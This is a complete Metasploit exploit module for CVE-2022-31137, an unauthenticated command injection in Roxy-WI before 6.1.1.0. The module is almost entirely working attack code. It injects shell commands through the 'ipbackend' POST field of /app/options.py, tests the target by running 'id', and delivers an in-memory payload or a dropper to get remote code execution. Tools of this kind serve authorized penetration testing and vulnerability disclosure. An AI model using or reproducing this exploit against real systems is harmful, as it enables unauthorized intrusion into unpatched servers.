Roxy-WI Remote Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Roxy-WI Prior to 6.1.1.0 Unauthenticated Command Injection RCE',  
'Description' => %q{  
This module exploits an unauthenticated command injection vulnerability in Roxy-WI  
prior to version 6.1.1.0. Successful exploitation results in remote code execution  
under the context of the web server user.  
  
Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Nuri Çilengir <nuri[at]prodaft.com>', # Author & Metasploit module  
],  
'References' => [  
['URL', 'https://pentest.blog/advisory-roxywi-unauthenticated-remote-code-execution-cve-2022-3113/'], # Advisory  
['URL', 'https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-53r2-mq99-f532'], # Additional Information  
['URL', 'https://github.com/hap-wi/roxy-wi/commit/82666df1e60c45dd6aa533b01a392f015d32f755'], # Patch  
['CVE', '2022-31137']  
],  
'DefaultOptions' => {  
'SSL' => true,  
'WfsDelay' => 25  
},  
'Platform' => %w[unix linux],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Targets' => [  
[  
'Unix (In-Memory)',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :in_memory  
}  
],  
[  
'Linux (Dropper)',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :dropper  
}  
]  
],  
'CmdStagerFlavor' => ['printf'],  
'DefaultTarget' => 0,  
'Privileged' => false,  
'DisclosureDate' => '2022-07-06',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
register_options(  
[  
Opt::RPORT(443),  
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])  
]  
)  
end  
  
def execute_command(cmd, _opts = {})  
return send_request_cgi(  
{  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'app', 'options.py'),  
'vars_post' => {  
'serv' => '127.0.0.1',  
'ipbackend' => "\"; #{cmd} ;#",  
'alert_consumer' => Rex::Text.rand_text_alpha_lower(7),  
'backend_server' => '127.0.0.1'  
}  
}, 10  
)  
rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Errno::ETIMEDOUT  
return nil  
end  
  
def check  
print_status("Checking if #{peer} is vulnerable!")  
  
res = execute_command('id')  
  
return CheckCode::Unknown("Didn't receive a response from #{peer}") unless res  
  
if res.code == 200 && res.body =~ /uid=\d+\(.+\)/  
print_status("#{peer} is vulnerable!")  
return CheckCode::Vulnerable('The device responded to exploitation with a 200 OK and test command successfully executed.')  
elsif res.code == 200  
return CheckCode::Unknown('The target did respond 200 OK response however it did not contain the expected payload.')  
else  
return CheckCode::Safe("The #{peer} did not respond a 200 OK response and the expected response, meaning its not vulnerable.")  
end  
end  
  
def exploit  
print_status('Exploiting...')  
case target['Type']  
when :in_memory  
execute_command(payload.encoded)  
when :dropper  
execute_cmdstager  
end  
end  
end  
`